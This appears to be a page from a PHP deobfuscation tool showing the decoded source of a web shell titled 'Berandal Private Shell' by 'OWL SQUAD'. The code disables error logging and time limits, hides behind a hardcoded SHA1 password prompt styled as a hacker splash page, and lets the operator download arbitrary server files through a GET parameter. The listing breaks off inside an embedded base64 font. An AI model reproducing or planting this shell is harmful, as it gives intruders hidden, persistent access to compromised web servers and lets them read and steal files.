Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* /* +--------------------------------------------+ Name : Berandal Priv She..
Decoded Output download
?>b'<?php
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
@ini_set(\'display_errors\', 0);
$auth_pass = "2306938905950a984b1fbdadfcfd86cfbb76b631";
$color = "#00ff00";
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'UTF-8\';
function mlebu_shell() {
?>
<html>
<head>
<title>Welcome :)</title>
<style type="text/css">
html {
margin: 20px auto;
background:black;
color: green;
text-align: center;
}
img {
onmousedown:stop;
animation-name: rotate ;
animation-duration: 5s;
animation-play-state: running;
animation-timing-function: linear;
animation-iteration-count: infinite;
opacity: 1.0;filter: alpha(opacity=50);} img:hover {opacity: 1.0;filter: alpha(opacity=100);}
@keyframes rotate{
10% {transform:rotateY(36deg)}
20% {transform:rotateY(72deg)}
30% {transform:rotateY(108deg)}
40% {transform:rotateY(144deg)}
50% {transform:rotateY(180deg)}
60% {transform:rotateY(216deg)}
70% {transform:rotateY(252deg)}
80% {transform:rotateY(288deg)}
90% {transform:rotateY(324deg)}
100% {transform:rotateY(360deg)}
}
pre {
color: white;
}
header {
color: green;
margin: 10px auto;
}
input[type=password] {
width: 200px;
height: 25px;
color: white;
background: black;
border: 1px;
padding: 5px;
margin-left: 20px;
text-align: center;
}
.kedip {
-webkit-animation-name: blinker;
-webkit-animation-duration: 3s;
-webkit-animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
-moz-animation-name: blinker;
-moz-animation-duration: 2s;
-moz-animation-timing-function: linear;
-moz-animation-iteration-count: infinite;
animation-name: blinker;
animation-duration: 1s;
animation-timing-function: linear;
animation-iteration-count: infinite;
color: white;
}
@-moz-keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
@-webkit-keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
@keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
</style>
</head>
<center>
<header>
<img src=\'http://img06.deviantart.net/fd51/i/2016/353/0/a/15554682_1888186958078148_1747269681_n_by_owlsquad-das4abn.png\'>
<br>
<pre class=\'kedip\'>
________ __ __.____ _________________ ____ ___ _____ ________
\_____ \/ \ / \ | / _____/\_____ \ | | \/ _ \ \______ \
/ | \ \/\/ / | \_____ \ / / \ \| | / /_\ \ | | \
/ | \ /| |___ / \/ \_/. \ | / | \| -` \
\_______ /\__/\ / |_______ \ /_______ /\_____\ \_/______/\____|__ /_______ /
\/ \/ \/ \/ \__> \/ \/
</pre>
<form method="post">
<input type="password" name="pass">
</form>
<?php
exit;
}
if(!isset($_SESSION[sha1($_SERVER[\'HTTP_HOST\'])]))
if( empty($auth_pass) || ( isset($_POST[\'pass\']) && (sha1($_POST[\'pass\']) == $auth_pass) ) )
$_SESSION[sha1($_SERVER[\'HTTP_HOST\'])] = true;
else
mlebu_shell();
if(isset($_GET[\'file\']) && ($_GET[\'file\'] != \'\') && ($_GET[\'act\'] == \'download\')) {
@ob_clean();
$file = $_GET[\'file\'];
header(\'Content-Description: File Transfer\');
header(\'Content-Type: application/octet-stream\');
header(\'Content-Disposition: attachment; filename="\'.basename($file).\'"\');
header(\'Expires: 0\');
header(\'Cache-Control: must-revalidate\');
header(\'Pragma: public\');
header(\'Content-Length: \' . filesize($file));
readfile($file);
exit;
}
if(isset($_GET[\'dir\']) && ($_GET[\'dir\'] != \'\') && ($_GET[\'act\'] == \'download_dir\')) {
@ob_clean();
$dir = $_GET[\'dir\'];
header(\'Content-Description: File Transfer\');
header(\'Content-Type: application/octet-stream\');
header(\'Content-Disposition: attachment; filename="\'.basename($dir).\'"\');
header(\'Expires: 0\');
header(\'Cache-Control: must-revalidate\');
header(\'Pragma: public\');
header(\'Content-Length: \' . filesize($file));
readfile($file);
exit;
}
?>
<html>
<head>
<center>
<link rel="SHORTCUT ICON" href="http://img06.deviantart.net/fd51/i/2016/353/0/a/15554682_1888186958078148_1747269681_n_by_owlsquad-das4abn.png" type="image/gif">
<title>Berandal Private Shell</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta content=\'text/html; charset=UTF-8\' http-equiv=\'Content-Type\'/>
<meta name="keywords" content="OWL SQUAD, hack, deface, exploit, Berandal, bug, security"/>
<meta name="description" content="OWL SQUAD | Berandal">
<meta name="author" content="OWL SQUAD | Berandal">
<meta name="googlebot" content="all,index,follow">
<meta name="robots" content="index, follow">
<center><style type=\'text/css\'>
@font-face {
font-family: \'ubuntu_monoregular\';
src: url(data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAGWIABMAAAAAvDAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABqAAAABwAAAAcZO+HdEdERUYAAAHEAAAAKQAAACwCIwEJR1BPUwAAAfAAAAAyAAAAQDXOTrBHU1VCAAACJAAAAVkAAAIGlNvJqE9TLzIAAAOAAAAAXQAAAGCZVQTZY21hcAAAA+AAAAGOAAAB6gCLjBZjdnQgAAAFcAAAAEoAAABKE0kOc2ZwZ20AAAW8AAABsQAAAmVTtC+nZ2FzcAAAB3AAAAAIAAAACAAAABBnbHlmAAAHeAAAVmEAAKW0Irt2PGhlYWQAAF3cAAAAMAAAADYAy2LDaGhlYQAAXgwAAAAcAAAAJAqmBP9obXR4AABeKAAAAWgAAAOihmFxCGxvY2EAAF+QAAAByAAAAdQOUTaQbWF4cAAAYVgAAAAgAAAAIAIGAhVuYW1lAABheAAAAXsAAAPOYleKrXBvc3QAAGL0AAAB4gAAAtQsBqUMcHJlcAAAZNgAAACnAAABBqQTvG53ZWJmAABlgAAAAAYAAAAGdVtSpgAAAAEAAAAAzD2izwAAAADJ5b7LAAAAAM7MJdl42mNgZGBg4ANiFQYQYGJgBuI6BkaGeoZGIKuJ4QWQzQKWYQAANmIDLQAAAHjaY2BkYGDgYrBhsGNgTq4symEQSS9KzWaQy0ksyWPQYGAByjL8/w8ksLGAAAB3kwv7AAB42nWRx0pDQRiFv+s1LkJwFQviIogl9hhjL8QSBGMMXF25EGKMLkwi3BhBiSt77w07PoW4s7yIL6J/hovgQoY5f5lzZs7MoAF2HvlCjy6ZcZyzZmyO9nhkIckwhej9Q4aLwlBwUHDM6BeE729yRaeRIzGb/e2UYeubCLjwDhjjgqHwiAu/EQ4JjhtB6Si+zeLrWeUffbbSpcrmtsiMGcUVjaRiuJPphEnDvDmdxJdKebx0KlaOYmvWDijUfldsOHBSSjl1qqvhtmKrFf3kqThq1VOic4gyQ5pFqXUK5NZF0rXLTLCifAYY+4enS14sM9/yoqv1jOVpWVxXUEmV+KimhlrxVU8DjXhokrdpxkeLeGujnQ7hdtFND72sssY6G2yyxTY77LLHPgcccsQxJ5xyxjkXXHLFNTfccsc9D/K3T3zyrl4zwKR4eOaFEl55k/M+ZHT8AGnVSqEAAAB42mNgZn7BOIGBlYGFdRarMQMDozyEZr7IkMbEwMDAxM3KyczGxMzE8oCB6X8Ag0I0AxS4OPo6Mjgw8P5mYkv7l8bAwLaEqU+BgWF+GCNQ9zaWL0AlCgxMAL36D74AAAB42mNgYGBmgGAZBkYGEHgC5DGC+SwMJ4C0HoMCkMUHZPEyyDLUMfxnDGasYDrGdEeBS0FEQUpBTkFJQU1BX8FKIV5hjaKS6p/fTP//g00CqVdgWMAYBFXPoCCgIKEgA1VvCVfPCFTP/P/r/2f/n/w//L/wv+8/hr+vH5x4cPjBgQf7H+x5sPPBxgcrHrQ8sLh/+NYr1mdQd5IAGNkgXgSzmYAEE5oCoCQLKxs7BycXNw8vH7+AoJCwiKiYuISklLSMrJy8gqKSsoqqmrqGppa2jq6evoGhkbGJqZm5haWVtY2tnb2Do5Ozi6ubu4enl7ePr59/QGBQcEhoWHhEZFR0TGxcfEJiEkN7R1fPlJnzlyxeunzZilVrVq9dt2H9xk1btm3dvnPH3j379jMUp6Zl3atcVJjztDyboXM2QwkDQ0YF2HW5tQwrdzel5IPYeXX3k5vbZhw+cu367Ts3bu5iOHSU4cnDR89fMFTdusvQ2tvS1z1h4qT+adMZps6dN4fh2PEioKZqIAYAJoaMxAAAAAADtgT0AJAAhwCJAIsAlgDIARIAqAEGAJkAowCoAKwAsAC2AJUAoQCcAK4AdQCyAHkAfACTAKoAjQCfAKYAdwBtAHAAfwBEBREAAHjaXVG7TltBEN0NDwOBxNggOdoUs5mQxnuhBQnE1Y1iZDuF5QhpN3KRi3EBH0CBRA3arxmgoaRImwYhF0h8Qj4hEjNriKI0Ozuzc86ZM0vKkap36WvPU+ckkMLdBs02/U5ItbMA96Tr642MtIMHWmxm9Mp1+/4LBpvRlDtqAOU9bykPGU07gVq0p/7R/AqG+/wf8zsYtDTT9NQ6CekhBOabcUuD7xnNussP+oLV4WIwMKSYpuIuP6ZS/rc052rLsLWR0byDMxH5yTRAU2ttBJr+1CHV83EUS5DLprE2mJiy/iQTwYXJdFVTtcz42sFdsrPoYIMqzYEH2MNWeQweDg8mFNK3JMosDRH2YqvECBGTHAo55dzJ/qRA+UgSxrxJSjvjhrUGxpHXwKA2T7P/PJtNbW8dwvhZHMF3vxlLOvjIhtoYEWI7YimACURCRlX5hhrPvSwG5FL7z0CUgOXxj3+dCLTu2EQ8l7V1DjFWCHp+29zyy4q7VrnOi0J3b6pqqNIpzftezr7HA54eC8NBY8Gbz/v+SoH6PCyuNGgOBEN6N3r/orXqiKu8Fz6yJ9O/sVoAAAAAAQAB//8AD3ja7L0NfBvllTc6z4y+LOtjRp+WZFmWFVlRFHkiKYqiOI4dxxjHGNd1Xa9rjAkh5AvSYIxJg5v19WbTNA3BCQGapilNaZbN5ubNzsgiUJfSULaXsizL9nIbflzebrfbbVl3aZdSyvKRiPecZ0b+iO2Q7bbve+/v95ZaHzPKzHnOc55z/ufjOcOwTBPDsJu0n2Y4Rs/UyIQRV+f0mtCvkrJO+99X5zgWPjIyh4e1eDin1y26tDpH8HhKCArhoBBsYisLi8ixwlbtpz/4P5s0LzFwSTL40RvsPs07TCnjYVqYXAnDxGSuZDJnZpkYkbyixFyUdaWT+Ddu1TGGmGwSJiWTKFuFSdlHYrLVJNjkEi6bZWQzJ9gkR3ZZIrx8RSrpcjp0oapqu5ASHBZWH6rhyGBnJtvRkc10iuc1RrPuHp3ZqBmsb2urr7+xjdtGegqn20YG71pTNzA4grQZuAH2Pe1OpoSxMzWMpBclPpUnJYxBE5NKk0RyUOo406TE8bIRaDGbJmUniTHLEiSdgtvDTUl46hMxPOrkuy1O0vmo09LNO7WOm27ufWPDhjf61He4J5NhGO4F4IePCZCbmZwX+JFzujypVCqnB5bkDKUm+JxniFdvjo2zQrl/kTslM9rJcYe7zLfIncxrNfQUx1cE8JRWMzmuKzGa4RSRKkXJe1H2AMUeXnYBxU7TJFzeGBtvcNpLYpIlOW5wuoDJeviJXpQNcFpvwNN6Bk5rkpKTl0vh35lgpEESk1Z4J9b86zu1jDNmnFjz3jtH8IPk5cdZr94ONNBXHb7CDcdLPAb44OLHja5S+ODkx81OE/yAp68CfXXgK/7GTX8D/6qM/iu4pq94nfLidfz4m/GK4i8DeJxr4FkOB8wLyJFyf0Wg5or/SQ1emCJ7OmUPwV+Ko3/OEP0L2fEvA6cyj9a9/l7DV+p/Vne8bu+j9T+mn+HviZ/W/5S0HyDN+0lHQcK//YWJA4Ucacc/OA5yTZidH2W5o9qDTJo5zkgpUVqWkjXcZC6lQWamksDMSlF2aWEikjlXJR50uUtA4leIkv2iHOInpRAvJ4HDrqScgMkoS0oJXi4B1sdB8DPwHrKDtJOslBRkqyWblRK2nKZycRY+lQhSNCvFbXK5H5eFJgU/ZLJSpTBO7P74IndWctmkclgn9aSCpJJr2PTyGjZSw6WXr8iAtFYQt76GhKp0TkcF667gUHydoXQN2RnPfHmwddOqskTX9lWZHV3pE0ePdR6IhmJ7N+0cCjX2ZJr3bqz9+uPHRr++/QGf6I7VhlItmZjDkWzZ1Lr3lOuVlzQVwhgf6myPZeNhh6+2c7Bj92nHm7/QJIBljJYJf/Rz7nWtBXSBFeQ/wqSYM0zOhCsgDC/5mIZZpIlRzQAKBw546IF8IhDmzPCmfLOX0G92+o1Iy3GN5nkbw8Oi5anQ53XKNx0vl8O3xcq3xbxcA9+q6Dc5DQx28YItV2IF1ZKVaxbDZ3M4kEWGJlDllFfBYQ/MgaxjssBL+0ydQ1KEc7hSyRXp5dXASDLjXGbG8fCurVt33btt6y4LZzh86b1gShQTCVFMkT33wEE4ObQHv+Jh7ocnvvGNEydOnbr0ouadD03cD/t27eqDv0vvnvjGY1898dhjJ9QDoKHrP3qLe0HLMzFmBdPIbGVyVcA+KZLKlQLX5AbNJJHWUdW11Ai6YSkq1Yx5UlrKy3UwbB6WdhO8Z5aC2HBZqU7Il0ZSy+0oN7xt3OVelICPjNxQJdjOMzp+kbh8FRygHMjUkPTyNWwqWcGi1LhBlNaQjNtC9PApVB2xgFjVsBlHBcGfwle7wwW/ULhRf/ud6bWp7rtWpze3i/d9oTnUFuE9ukMmMSR2h3KhWONjPe33dS8707nr4KqmI421qzvCqzd2dqTSN5P0hu93tRxt79h1Q6SyaWND//NdN0a7xOz+Ttuub9/QeLC9ZW3n9aneXZ0d27y1nX2PtqfvZ/tqN7fX3V/bur4L1yt5nGtje0DXm5kgI5WIqponkkXR8fwk/bNOK3fVpDye0xnNhq0Gs1GH+jx+z57dorh7z72oA94onOHc2hMMD/aDSAK9ksE8KdvoVezLbRl3SMfSVaavZt/45WQv+8wL4q0Pb7n5zTfYcIG8fGb4aOFPfzb40tNSz/A58tLMa9roNe2iZLkoa+CaDuWaGZeNWrtIaoUNV/UbcKnVQ+fuuYl75kXxtoe1weFzhdRHzMi7P3uxa/goGf2Xwb/7joTXHWIZ7iDYnaVMNVhhanzjomS4KJfCsGFhyKUGwZbXWtyVUZx9vBXObg2pI9S+rSH1oDboRAeIPkIn10oiGZh++DyUsbQcaeR9ko9vHGuxpE2tX2vL7Ioaxkpj1wWC14mlh4zxwUzb11u4o6d1/uvCrSdvtFrbv94aafLqTmvcZYbUQH3pVlPdg01NR9YYN5vrd6aM7jKku5/p4U5xr4PO6GQkRpT0KZlwk5I2mWMIalXGWBLLEQY/Eg4VrEmUjBclNimX2CbBoOVKjHiuRA8/M5bgRyNYOtmssDMdBPQQdAaFkNBPeh4ivYXHHyKvjJHdhf1jhX1kmKGykyi8xr5M/DAjixmYknypKjsOZGDeUspYQKMALpAtwENJi9zTruHoWlH0AkwYSYRb6hLWxtq+2rZ28daxjY8ZhIAY1fXEOrt2tNeODnSY6L0C5Cn2p2wPrPIqHK9M9JP4RySNKDOgv7hSxgh306qCGnTCv/geeerkSfi32wFrHSNB4FVaQVp5roQxg0qd8ZkyCDSmjlKtvqnsmAmryPbO5qbOzqbmzr31t9xSX3fLLZQXzKHCOW5Qewzou57OB5dC0ugaslKcRIAPrHESKUT0sPqtN+9G0KCRGF4iF+AXEnuBlQlLzTTBSQBleohdfebyDwrndL9834X34Zh+sBWPgY4rZQKg525TkaOgn6SmQfbpJ/OhaAlYAjlUAtxZSkkwAQkmXq4EPlWXMnWg9asVGKSzTspxeK+uFGzjJYKPoxouFIVvOpOLUdQbb0slbQLPhqpYO6zZouEMVVlY9wzO9L/+/AuvvfbC86+f9WT7m5v7s57i+97GdKqhIZVuZIdhtXQXzhSehf/+ivwJqd/67YOdnQe/vVV970x/6lPpdHu7wtPjMOBRWJs8aPOcAcdZoog4R9epgBIta42TOS2VZS2VZS2VZQPIMqgbOEuVObITVmRKSDmDINsWTn986/e77n3rcjexuetv6Ixwv45+/tYPvzo2xu12xKJhKnPMENx/DHi9FPnsxPvbAMpokc8RFD1QFGUXZRvgchsvV8HdDNbJnKEKCTA4gABUH7YysJTOpYBOqoRxs9YfoRy2OYGssqwUEcYZg3+pwuc1XHFRWDgnLL7q5WhTMmu4Irf1Q3xj3+Da559Jdd2RCXyyNcFef5lhV/XetTLeVR8J1bbH0z1NCZNmt22FWHn+TON9uwYzge7e7sCY0W3sPvrn96yMd3f3JTLtKY8/GlHGuBvk6QCMMckA6q7BMWpAlipwjG6QJYu5pgJkyaKF4QKa01+UoyBLjsqLghwC2VkO60PW1Cg4yyzIJAoDtdik6qzkFmRvCL5V2CTfFORagUOJgR2hMoTGTx9ZQ4pms4Lg6NFS7g4Gx7Y+diDbP9wUWx3f0JEY7e4ZjjbGzt2x6XBffNsnN45lBnLD4qbupsgRPj56Z3P/qrIDdrGzfutnUr7RwLpE7+7rN90f9v/FlzoPbV5ldbnR52JaYT4nQJ4sjJPZwOTMiLB0CKgYq1lnjkkGcCh0k5IRHAaXKJkvSnxSNgFA0CdzJjPOqgmVqtmEH82oLd3oEZhh9DqYUyuj4FKdIAk4nWlQdShwIVCiYZS51tDnjp3tOfXww6cKO8jRzMD2m0nT3Z0/+pfXey69frDwNGk6CMb58NdO0XnZj/MCtEaYXzO5UHFe7DgvLm4y77OE7DAvPpyXxaJUclGugOmIKrql/uKHVLdIvhqLJPBgfGSr/n0tfJRd+vcn6v/2g7+H06WSlR/nrQL4ED5wO3wucCnK6KuHvnrxNQc/qPxS5ZdCOotgy+bgDLxJ3iwKLwjyeSsvuMs8XtXBIA0lLt/sQ4o6kytKYBk4nBSWhxRxsYC4VICA+BCTy3a4sGS7ApuHgIWwEGC5alxF0dgfDB7Y2rlzXUAc+tvjJqtRp2E3FpKs3mBgie2D9MC5XYkN3WtRLML1nfHmO1sjvY8+/FDnYf9NW/r9xh9/u2sMBMLhRnnYCTw+pvmA8TJx5hYmV4ZcriyucB1w2bK4TIvSrwMu11BN6gPpB3aGYeLtwHAR3sM+gMiWslL0QOyCrNXhIBeDQpUZO64GQSqlING2YhEgQk5flHccDkJCdsZi0Dl2bpogpX9p3ZE72O9JDK3d/shN0Zr+o1te+Yezrswt6+s+lXYP7G68M8OSS08R/4Ut7GE2tuHLO93la3eMtTUf2d1GfJc6Du2oT7VviO3Z6ylzLAZZGgW5P0XlfrViL3IER8igDrNS4THwoLgoCjAAWJB51GUwY5IRhkIYqkIpKnBaiJHoQyu8bGaUC9UdHu03/bXx0/cevk6z4aEHWn5TeKVw5swR0kwSRNOl2KutyGPQLz6wVrW46tzI5aBuMmdEGjLI2tWUteWw0rSoWACdS+XUCZStcKwajzkA6iFITwI4f8LIuYNRG1WkmSB8Z7RWR1ScwuLVM6G4YpxqZjJ6BvxW9OrWXZ3n0rcd6tn8YG905/WvvPjyrq/eHDkF1qup/uZa/+mHOnv9uw+293lSndnajhUuUr/jdGrji80j/dm6DUOZHY+Km35y8vsNm4azwevrIlWrWxcN7QnGv8gu7nowGP/8Rt+6TCScaQJ52/rRJfCNecbFRFHeSpETpqK8hUHebN5SlDcbMmUJZYob5M1NLTcaFzkG726YD7nUlEXHNqe1Walr5rXBJFmzUliQDapbhjywOXlGG0kuyhQdEPTBMiuWT40cZeuH/0/hcOGQ7ufEE0/sWrvj6E3RsyBjd6VZV+ZWKnHcUPORXTcW/vmDwr7CKDv25E/c3vodBzv3jJa5HWFnx9gd9am2foZVcBb3JGATN8z1LKRlJfDZqSKtMhyaZEqqKEuyFT/Jnjl4S5gXe12JwdhXpsEYSxjApY8CHXbASMtB4vDefvXelYhNJUdShaeSN4nxHIpQc1q3H5k5D0qd6eQS5grEemORmrnQVdMwTRdhNjED3BnuMUbHMPY0cZcQ/SbOLV7exR4QybNHSMcDhXcL7xxiqK3qJxbA92Ead/QqiBewD4BdLQfCYRAxJKIgdSei3X6u+dIE10wsDz5I9j34IHPl/TIlJEOcZBP7pcv3ipz70mSBmIjxgYJ0pCDR+z390RtcC8hmOWD525lcNdWFJSqq9OA9o6LkvyiHSifH+ZAfXGerjcZqXKpoLsHlygNw5DyV1egzhwTJQSMuJpBPD+jDnMFajkqSE0D9U0CmKkKNMxRZPqUDZ/L66bqv9Wzd1x4QmzubxSNs75033bahdqi2H2OZGNPUPB+qzvbckajb0N3etXF1pGd052db2vv9lZdENbyJY+ssvMk9A2OLg/77HKMsNy8Y+qgoL9LRoGpKMymtEmUHmtM6uvACoIQCvCzAqGpACdXw8gowrm5wn0ATrYGjK2rQL3SYvItwsCWCXB3BhWhaJFD4kxKkkqy0ypZjAkJWWZA2HLDLKShrUZEuN47ZQn3hVDLj1kWqaggbpt9WZAQajeps2ydtzv+wbiTdMtyX+ptH+YBwx1DLvd2JxNbHBjp7+B03PfL6oWbykjG8bjUfddsW8T0byNuvEPFC329fu1znsYkbj9/xzPMsO/rl5q+8fXb035+403vAT/a9Rlz3R2/pyGh05F2d5ovAJxso7F+DnbAyLnDxcgxailKTFWOwyLO8BZQJwCQhhRZRMgNMclNeWUFJWXnZhN4yeM1lanz0c287EIVY0MNhL2jhJ5LlwkTd0V/fT8EJD+DEeUFmWIPM2t63SJoLE99b9u/b8BxAFThpvyCXON6X9Bcmnj36m18ox028ZL4g60sMUikvlcDV/uHft1Msw/DjhGEBy7D8OMdq7LGJ7736qzA9pefHDfoSOFXCjxtLMGZq58dtdgA+E3WxX9XQ3/D8uIt32tFlZmfgHbgSvsEpfIOrzDgHV8A3uCK8MQ0mwnIaPRhRm93pmhl1JQ282cILC50uQiRG1vJqGD+F9jXl8rLuEBfk7MFqNqJjbaHu2z+75oe1d97aHRq/oVDWOkCOiztEced+sprcQNqPHSvkCk8U/mY/aSvkyatPke7h0cJZaoN3fvQud0LLgB6JMiuZe5icC1d3BdhgRL9yGizPkqgLELC8BC1PVkE6sACWJBHshBDswLdlaIhLwYVdBQeW+dBHdPEV1AxXuBRMFxUke1ZaYpP4rJRG4CPpEBMvS2QE9G4U2ENxvi6I9mga6k05BWiYdPqdgU90dQT7T+1eV758XWTrA28X3gt0dnZ+SdNVXz/UuzLVtbP27L7U5s5EfP2t6XQH79C8ZDDrNMH2kf54V2vG4v/K8NPPanSmEVbnzPS21Hen3Aed8RtXZ9oTTlaL8RPAJedAJ1Qy1zG5cuSHU69a4lL95HhZudYA1iJIWcGDeqtCT8dZDsP0ZOVScOpyTAmP2kwrSIYpe+ty62es5xUYAcS13t91+MKOtq+1Jfbv6tp3S2rlxgMdtXub4y3fuHngmYMd7PBjvzvdHRUPtrfsf3po77MjdYHqg9FIx2MfUIz6LtDJAHYrZ9oVn0UWuJl62a+sQSNdg0VtXIFxXCsABTPNEAlmZX48SKzEFedkxTQSzbgo+3mqgneOjgz/38d7eo6/ct9IJJXuG7st/fz3fCkHcDnQ/NV3z0nvHr/uy7rM7u/uI+zbwE7g5wQI2jmaz2pVNAf66grO1IB8aQ0MAfmixosGWuQSoxKGoiGqktISfOVK1JCUGnhRYlDK3wT7/OWfktcLYbZN887hwvBYoX5MvS/6SSVMg6qx5twTZdo4zz2n71Z6xd0m2Jcvv0Z+UfDinYYOXc4r9hRl5hTITJjZzOSCOMYykJmyIF6trBxcQyo+FhxjNb0fuAiga2i6rsKIjqUcgY8+OzoM2iBKTwUuEkYuAxgrVVCfiClFoULoXRQqDJOiJZgWKyGlGpH+zkPfubP5jhsS5pXi6PXt+25Ji71f6K5t5E9Hzg4NPr2vlR0++bvTPQ5/RcmhsNi6/xk4uL+NN5B/unzOsrTn9Ht0XH2qf1DK1Cs8lPQpykZJm8pzRspFbnrmQAVIbBIUsGwgmBuT9aATihOGSc8UeLxBoe80ee/06YJB887lSdb9oYltv5xT+Hge7tdK73e9KiuIbUqSCv9g6sDjpjdj6ZTlSthiqBJYmGOpn8Jq4BuTLN43DfcEGBQCf/v8u++yD7377hj3o8OHL8XGaE7q51wf3M/OrGFyAqPcQ/E/SnBYDhrYMMGd9NS315eU0Lgl+KqCsm5KBLpiikEMAYNIdNlU71wXGe3eO1roYHsiGx4bHv7LtgP+tQcfZ58+fOlU78mhpma4/17VrrqYZSp/rSp/damiDXVRpqLtVDwumXMiakCGrrBlUjrQmpw7VMNFhL2n973T99ymt+5vPPrAnth3U7v2HWoBHv/tAbJ09JHCa0czD537/ub+/IlR8fJjCr+La1PLLFX5zalrk0g6JUYJY+foquC0MHb99GQ6J07jgvvwq2PKtRrhWs/AtbzMI+pYTCnVYTakYDQ+ej0vQCYvj2kDZCummxARfO8/3rxATb8OrLv+gux0vS85wIaXvfkrxbobamSd3gCnLLINztkvMHm9ze5wKnb0PJyb+qbGFbwMjSzLJtB1ALiYovH0kZSX2EPVRjbChTidkdU36nh3hf2rz3//a9GQ5ZusVqfTPPXQ06xOp2dPkOtJE6l98PIBdlfhR5cPFc7sJCyxEd++y8+wjfsKbxTeLBR2KuMfwJggjF/AmCQdv1GdSwOM3kZHL5gmMdYCXJSNpknZDu96ECSZLc2q/rSs59XZhVnF9VLN1pCIMHC2a8/WjWu+crb5voHPrtK8c/znr/7Lw9zLH5rOEMfbr+64ZFJ8g1qQ5+e1PPVvmpicFWfUXfQj/SjRlZQOB4bqeNmLdFhp3lr2OuDmVi3S4XfDR+MMZ7FoCtBPxJBvejlGKGobdz2+edPpXU1Nu05v2vz4rsazXzw0dvjw2KEvssNnPnjsE5947IMzZz441d5+6oMzHxTeJcYPPiDGwrtI5yOoV8A68CAtHap2pogDiM1bBQYRhxXJVYSGhyUgJDFZiTmDUiuVG9nJq/E1N67FUhpfI5R3RUShixGPElsMgu16JPwnPV2hgTMDmV9OPnT/8YcL76Zv82h+ajAb2Oy2sZ7nXy1E2K3DDxTQbCEvC+eAlxbq93xC9Q2qQQM5wRvQKF4PkOYHTvoVJGRUfZ2QHz1GL7rfklFQY1vVwN5xI+OtVIMR02zF5auH5VvN2udj7oqNB7t02Z6BNZGu48Pdlsefneby7jMffKOj4xsfnDn2xql+a7Q25jfst8Rb72gPkToSn8VyGA/KZ17FerepEiqkFLbDuPIeH2W7ZzrE4AW2+5K4XFFAStQoQ9ALw9M5TWpeHRCu7PMI6MxJ1dS1UYGdMg0uGr4FBYVQtUqZj2kwNwBgrjP4838d3hZoa78hmK97cJ1pmWHsztahrni89faM2GPDCdJpfvD8UC6R+NNDD7ccJdYutmBiRxwrN7S39mfcdLpw/YHsY0w+gTY4XtTljinJT4qScFGuhDFVKitwCeifFLxXCkp4Vi88oTE7/NW0HmCJTfZ4aVAyrih6vzBOBO8SPOdAqDcrcK2UCkwb5BmFArhqBlLRrw+O7k90bk7XDfQs/+G3U5u6mxzp6FhP3xcjTb3p9tG+1E9+2HRvX3Pd/e7ajRtrP10vOj11nZ9te3zC4vBbHvAk+vrSrSvjrmBj732feTxnL/fTMXfAnEqgc/TMKianm47fgZhySQwGSDo1D6KjeRAANjkdzYPoMEo9HSnAfF4Ht6Fw6rRm0+HDH57QbKLX3wg8fRSu72Eyap7DoNoHyZIqFiOBicA0lhkz5UalBInWHTlpcgWLjdQAm1J3hAzZeDrU0JvN9jaETsdv+9rAwNdui5M813DplQ1/dmMweOPorVz80oXtZ3c1Nu46i3T4YJxvoJ0kf8PkbKrkMlj2QGj1T9FWEmFSImo9zrS/+eynfmua8jedF+AXEkddyu3KURePHiVrf1/Sgs0xvPmdaU8TXEqd9n30J9fkf7sMj8u6ootpQZ/TAv9Qa4BLjrOEKzqZWnQyb/z1R+hAjmvo17pP/eqvqT+p48f1OvA5xw34OrGm+zej9HjRBQVEbpAs/LjZYoIvFpMBDMa4RTDjNcrfvEwvacWv4zw9+L3Tv3qWXsDFjztcdvg3jNMw7sRP6Pq6GPRdgQbFP0W/FH6Fb0DFtM8K4D9nRV8gCw4aeq7Tp5gGQQceqhZdVLPFyoOdneOmgitr0wkf+6upBCZ1Yak5RgOMxth33nNDV3c42NPdVibxrZv3NP1D/X2bAQuOFl4u/H3hl9u2Eh9JEnGks/BvhTOF0aeeIntIN3HPxh4O5hiT41FOzdaUIiEUSTkV6bBR6dCh1TVPokdE860fvPkAxR5WmG+czrL3UTyeq35zqSIH5hrZaoE5Aeyh9bwvaQB74EgtKvbAzzDimdiDGnLens3Keh3VjHTMgDzg/3TApQTH3PhNNwAN9zd1Nk+5gPjD5nPzgKh+zK69/F1N6GzhdGGi8KMRdtflA3tInLSQHhxrCsb6EozViXUJRZylYSk2x/QU5p5AbSEJOhvFEgATSQqTxi4bBYoAGVNN+c2FJyfeI8bzBWnjt1q+7a67riPWMrbmGNl4iu0ueMkvLksnC6fPZu4/erRhsPDqIWbmOuQRr9IsGVO8sYB5MYrpbMXclwbUJ6N8oHNuc6uAFZRNNet7uvZ4T/+DtU+1/2D49J4XNe+cLfxfj58jq069UNj7SiFMXn2J7KN1Y6oPIjA1KkYFZJAzoJ7To163iYijprJsskEvKD5SKr3CS1ZkgsXkRNC5s/7410+2Xn6a0zV+4/SjtezQzlHCE927Ww/v7X2v8JvCWwMKliVhsP0W7THQqyKNsGo1NMJKNDTCirKkNYNSZYpKVdIlVWVKVFeRhMlk4UmyHjP0X/gguE+R0zG47gCtBbiRKVYBECOVSg6rAKxTVQDPGd/8M7UKoEZia2ApywQUFAs/tL/PjjOE5WYtKBIaO8OuPKs99r4L7vN24Rz7epF+vSgzQD8nyhqVfnJR1gH9RFcsAkF/SaHfHaQuTPBtIP1JGIL7Je1PvkCv2cnWU19BBzOhughYD6mYEBAufQnpJBtBfvYXXiu8xu5jd14+0sxqL38I/5aHcb/1UR2M280gIWCg8I/WaGjV+zqDPPdPlyqfA7+MtGvC7CntQfh9Jf4ea49MGKOnHMuzpfitWNGRsetJ+52/7NYG7iz8ok3Bwbs+muSGuJeYIMjpIJPzM0oaJecgqBowArDU78AIAIZ1E3QaqgDIVfHyYmC/PonQh6aZquhKFgDqLBbGtYAOaFArDAgPU51LMV6NLrkec9wY2gJ